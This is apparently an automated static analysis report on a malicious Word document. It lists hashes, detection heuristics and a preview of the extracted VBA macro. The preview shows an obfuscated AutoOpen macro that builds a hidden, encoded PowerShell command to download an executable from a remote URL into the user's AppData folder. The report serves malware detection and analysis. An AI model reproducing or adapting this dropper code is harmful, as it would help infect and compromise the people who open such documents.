Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 86c7bac731960e9e…

MALICIOUS

Office (OLE)

87.0 KB Created: 2018-10-25 13:55:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: e2838a1de2cbdb12b2899e733679dd4a SHA-1: 635e368c1b37cf2538528584e0d86b3e23281770 SHA-256: 86c7bac731960e9ebcd270f3a466aaeb5386df1604ab56bbfc1bd3b43eaa39f7
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6731838-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6731838-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9379 bytes
SHA-256: 61ab6632d3d19a4596c12c38f86822b09b0c3c5cd3fb3a90eb47168bd7a9e3f7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const DUUPuJujOjePbVEbUWIQoqoRYwEsHiZY = 0
Sub AutoOpen()
On Error Resume Next
Dim SNibAaYXUDoxCaiUQAvIWUQamagaByCO

SNibAaYXUDoxCaiUQAvIWUQamagaByCO = IsNull(Choose(6, "DEMULuLapABIdIKEJE", "SNibAaYXUDoxCaiUQAvIWUQamagaByCO", "DEMULuLapABIdIKEJESNibAaYXUDoxCaiUQAvIWUQamagaByCO"))
IsError CVErr(3520)
Call IsNull(3520 - 6 * 11)

If Len(DEMULuLapABIdIKEJE) > Len(CStr(Hex(3520))) Then
   Call IsError(CVErr(CInt(CStr(DEMULuLapABIdIKEJE))))
End If
HiRiKoGyiUbaxoZOmYzeryGYwUZUGYjeZEvYsylEbU = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8"
Dim XUiesElaLigeFUvsULHiLuiSOTUQAm

XUiesElaLigeFUvsULHiLuiSOTUQAm = IsNull(Choose(1, "HUJOsEfuNUBUZIvyKjOiYGo", "XUiesElaLigeFUvsULHiLuiSOTUQAm", "HUJOsEfuNUBUZIvyKjOiYGoXUiesElaLigeFUvsULHiLuiSOTUQAm"))
IsError CVErr(2824)
Call IsNull(2824 - 1 * 13)

If Len(HUJOsEfuNUBUZIvyKjOiYGo) > Len(CStr(Hex(2824))) Then
   Call IsError(CVErr(CInt(CStr(HUJOsEfuNUBUZIvyKjOiYGo))))
End If
Dim dArYDIJygERudyZOCuxYzITugiKabuluwIbajefITM

dArYDIJygERudyZOCuxYzITugiKabuluwIbajefITM = IsNull(Choose(2, "huzInofymUqYB", "dArYDIJygERudyZOCuxYzITugiKabuluwIbajefITM", "huzInofymUqYBdArYDIJygERudyZOCuxYzITugiKabuluwIbajefITM"))
IsError CVErr(9141)
Call IsNull(9141 - 2 * 11)

If Len(huzInofymUqYB) > Len(CStr(Hex(9141))) Then
   Call IsError(CVErr(CInt(CStr(huzInofymUqYB))))
End If

cywIYHOvEpuKuZsEWtIrYzuduBacYgawuXaV = "^A^L^w^B^m^A^G^E^A^Z^w^B^l^A^G^k^A^b^g^B^n^A^G^w^A^Z^Q^B^z^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^x^A^D^A^A^L^g^B^4^A^G^E^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F"
Dim DUpUkasupiRIwipamAGyhENYfHuZABUiaNUqy

DUpUkasupiRIwipamAGyhENYfHuZABUiaNUqy = IsNull(Choose(10, "aENypEvaderYmaXo", "DUpUkasupiRIwipamAGyhENYfHuZABUiaNUqy", "aENypEvaderYmaXoDUpUkasupiRIwipamAGyhENYfHuZABUiaNUqy"))
IsError CVErr(2510)
Call IsNull(2510 - 10 * 12)

If Len(aENypEvaderYmaXo) > Len(CStr(Hex(2510))) Then
   Call IsError(CVErr(CInt(CStr(aENypEvaderYmaXo))))
End If
Dim zyaOlEwuKUqIWIguzLoROdUiuqYPUvafaTuRihE

zyaOlEwuKUqIWIguzLoROdUiuqYPUvafaTuRihE = IsNull(Choose(10, "lefEaarAjoaOkiTuv", "zyaOlEwuKUqIWIguzLoROdUiuqYPUvafaTuRihE", "lefEaarAjoaOkiTuvzyaOlEwuKUqIWIguzLoROdUiuqYPUvafaTuRihE"))
IsError CVErr(6057)
Call IsNull(6057 - 10 * 10)

If Len(lefEaarAjoaOkiTuv) > Len(CStr(Hex(6057))) Then
   Call IsError(CVErr(CInt(CStr(lefEaarAjoaOkiTuv))))
End If

Dim kOjPihOFIsOjUHecALtuRIdIzOK

kOjPihOFIsOjUHecALtuRIdIzOK = IsNull(Choose(5, "aeMOjzUgutUiaDYzYkerYm", "kOjPihOFIsOjUHecALtuRIdIzOK", "aeMOjzUgutUiaDYzYkerYmkOjPihOFIsOjUHecALtuRIdIzOK"))
IsError CVErr(6663)
Call IsNull(6663 - 5 * 12)

If Len(aeMOjzUgutUiaDYzYkerYm) > Len(CStr(Hex(6663))) Then
   Call IsError(CVErr(CInt(CStr(aeMOjzUgutUiaDYzYkerYm))))
End If

Dim kuZNulOGaUbAvFoBAhulAhasuFElCOTytEXi

kuZNulOGaUbAvFoBAhulAhasuFElCOTytEXi = IsNull(Choose(4, "sEiyGESINorUwApAkeTiT", "kuZNulOGaUbAvFoBAhulAhasuFElCOTytEXi", "sEiyGESINorUwApAkeTiTkuZNulOGaUbAvFoBAhulAhasuFElCOTytEXi"))
IsError CVErr(87
... (truncated)